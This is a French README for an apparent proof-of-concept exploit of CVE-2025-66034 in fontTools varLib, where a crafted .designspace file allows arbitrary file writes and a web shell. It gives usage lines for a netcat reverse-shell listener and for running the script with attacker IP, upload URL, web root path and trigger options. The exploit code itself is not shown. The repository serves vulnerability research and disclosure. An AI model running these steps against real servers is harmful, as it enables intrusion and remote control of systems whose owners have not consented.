
Exploit de preuve de concept pour CVE-2025-66034 dans le pipeline de génération de polices variables fontTools. Un fichier .designspace malveillant permet de contrôler le chemin de sortie, permettant des écritures de fichiers arbitraires. Le script automatise la création de la charge utile, la génération de polices et le téléchargement pour démontrer le problème.
Ce dépôt n'introduit pas de nouvelle vulnérabilité.
Il s'agit d'un exploit de preuve de concept pour CVE-2025-66034 affectant la chaîne de génération de polices variables varLib de fontTools.
La vulnérabilité permet aux attaquants de contrôler le nom du fichier de sortie au sein d'un fichier .designspace conçu à cet effet. Lorsqu'il est traité par un service de génération de polices vulnérable, cela peut entraîner une écriture arbitraire de fichier sur le système de fichiers du serveur.
Le script varlib_cve_2025_66034.py automatise la création de la charge utile, la génération de la police, le téléversement et le déclenchement optionnel du shell.
nc automatiquePython 3.9+
Installez les dépendances :
pip install fonttools requests
Netcat est requis pour le listener, par conséquent la commande suivante est nécessaire si vous utilisez l'option --no-listen :
nc -lvnp <PORT_NUMBER>
Si votre cible est un laboratoire auto-hébergé fonctionnant sur mysite.com, et que le chemin de téléversement, le chemin d'écriture du système de fichiers et le chemin de déclenchement accessible via le web correspondent aux valeurs par défaut du script, vous pouvez l'exécuter directement.
Utilisation de base :
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
Il est très probable que la cible utilise des URL ou des chemins de système de fichiers différents ; remplacez les valeurs par défaut par les options disponibles ci-dessous, telles que --url, --path et --trigger, ou modifiez le script manuellement
Remarque : les noms des champs du formulaire d'upload multipart peuvent varier selon l'environnement. Si la cible n'utilise pas les mêmes noms de champs de formulaire que le script, ajustez-les dans la section files avant d'exécuter l'exploit.
| Argument | Description |
|---|---|
--ip | IP de l'écouteur de l'attaquant |
--port | Port de l'écouteur |
--path | Chemin du système de fichiers cible où le fichier sera écrit (doit être accessible via le web pour déclencher un web shell) |
--url | Point de terminaison d'upload, le formulaire peut varier |
--trigger | URL de base utilisée pour déclencher la charge utile écrite après l'upload |
--no-listen | Désactive l'écouteur netcat automatique |
Exemple avec des options personnalisées :
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace malveillantRemerciements particuliers et respect à :
Cette preuve de concept est fournie à des fins éducatives et de recherche afin d'aider à comprendre la vulnérabilité et son impact.
Ce code est fourni à des fins éducatives et de recherche uniquement.
N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.
L'auteur n'est pas responsable de toute mauvaise utilisation ou de tout dommage causé par ce logiciel.